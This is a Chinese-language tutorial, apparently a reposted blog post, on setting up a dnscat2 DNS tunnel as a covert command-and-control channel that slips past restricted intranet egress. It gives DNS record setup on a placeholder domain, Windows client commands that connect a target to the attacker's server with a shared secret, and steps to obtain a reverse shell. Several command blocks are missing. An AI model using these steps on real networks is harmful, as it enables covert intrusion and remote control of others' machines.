dnscat2搭建dns隧道
目錄
dnscat2
搭建dnscat2隧道步驟
(1):部署域名解析
(2):安裝dnscat2服務端
? (3):在目標主機上安裝dnscat2客戶端
(4):測試客戶端服務端是否連通
中繼模式建立隧道
服務端
客戶端
執行命令
dnscat2
dnscat2是一款開源軟件,使用DNS協議創建加密的C&C通道,通過預共享密鑰進行身份驗證;使用Shell及DNS查詢類型(TXT、MX、CNAME、A、AAAA),多個同時進行的會話類似于SSH中的隧道。dnscat2的客戶端是有Windows版和Linux版,服務端是用Ruby語言編寫的。嚴格的說,dnscat2是一個命令與控制工具。
使用dnscat2隧道的模式有兩種,分別是直連模式和中繼模式。
- 直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求
- 中繼模式:DNS經過互聯網的迭代解析,指向指定的DNS服務器。與直連模式相比,中繼模式的速度較慢
如果目標內網放行所有的DNS請求,dnscat2會使用直連模式,通過UDP的53端口進行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查詢)。在請求日志中,所有的域名都是以 dnscat 開頭的,因此防火墻可以很容易地將直連模式的通信檢測出來。
如果目標內網的請求僅限于白名單服務器或指定的域,dnscat2會使用中繼模式來申請一個域名,并將運行dnscat2服務端的服務器指定為受信任的DNS服務器。
DNS隧道的應用場景如下:在安全策略嚴格的內網環境中,常見的 C&C 通信端口會被眾多安全設備所監控,該網段只允許白名單流量出站,同時其他端口都被屏蔽,傳統的C&C通信無法建立。這種情況下,可以通過使用DNS建立隱蔽隧道來進行通信。
dnscat2通過DNS進行控制并執行命令。與同類工具相比,dnscat2具有如下特點:
- 支持多個會話
- 流量加密
- 使用密鑰防止MiTM攻擊
- 在內存中直接執行PowerShell腳本
- 隱蔽通信
搭建dnscat2隧道步驟
(1):部署域名解析
首先,用一臺公網的Linux系統的VPS作為C&C服務器(注意:VPS的53端口一定要開放),并準備好一個可以配置的域名(這里我們假設是hack.com)。然后,去配置域名的記錄。首先創建記錄A,將自己的域名 www.hack.com?解析到VPS服務器地址。然后,創建NS記錄,將 test.hack.com 指向 www.hack.com 。
- 第一條A類解析是在告訴域名系統,www.hack.com 的IP地址是 xx.xx.xx.xx 。
- 第二條NS解析是在告訴域名系統,想要知道 test.hack.com 的IP地址,就去問 www.hack.com 。
?
為什么要設置NS類型的記錄呢?因為NS類型的記錄不是用于設置某個域名的DNS服務器的,而是用于設置某個子域名的DNS服務器的。
如何驗證域名解析設置是否成功?
在隨便一臺電腦上ping域名 www.hack.com ,若能ping通,且顯示的IP地址是我們配置的VPS的地址,說明第一條A類解析設置成功并已生效。
然后在我們的VPS上執行以下命令監聽UDP53端口
tcpdump -n -i eth0 udp dst port 53在任意一臺機器上執行 ?nslookup test.hack.com 命令,如果在我們的VPS監聽的端口有查詢信息,說明第二條記錄設置成功
(2):安裝dnscat2服務端
在VPN服務器上安裝dnscat2服務端。
? (3):在目標主機上安裝dnscat2客戶端
dnscat2客戶端是用C語言編寫的,因此在使用前需要先進行編譯。
- 如果目標服務器是Windows系統,則可以直接使用編譯好的dnscat2客戶端,或者PowerShell版本的dnscat2(目標機器需要支持PowerShell2.0以上版本)
- 如果目標服務器是Linux系統,則需要在目標機器上執行如下命令安裝客戶端。
Linux安裝dnscat2客戶端
?
(4):測試客戶端服務端是否連通
服務器目前在監聽狀態,執行以下命令測試客戶端能否與服務器進行通信
dnscat2-v0.07-client-win32.exe --ping test.hack.com可以看到,服務器收到了客戶端的請求
?
中繼模式建立隧道
服務端
在服務端執行以下模式進行監聽
客戶端
客戶端(C語言版本的)執行以下命令,連接服務端
dnscat2-v0.07-client-win32.exe --dns domain=test.hack.com --secret=root@123456如下,客戶端顯示 Session established! ,表示連接成功。?
客戶端(PowerShell版本)執行以下命令,連接服務端
客戶端(Linux版本)執行以下命令,連接服務端
執行命令
我們服務端這邊也會顯示New window created:1 ,說明新建了一個session
然后我們執行下面命令
我們執行 shell,然后會反彈一個shell過來。接著執行 suspend 返回上一層,sessions查看,可以看到現在有兩個session了。session -i 2進入反彈回來的shell,我們就可以執行CMD命令了
總結
以上是生活随笔為你收集整理的dnscat2搭建dns隧道的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: MAC地址泛洪攻击
- 下一篇: windows远程下载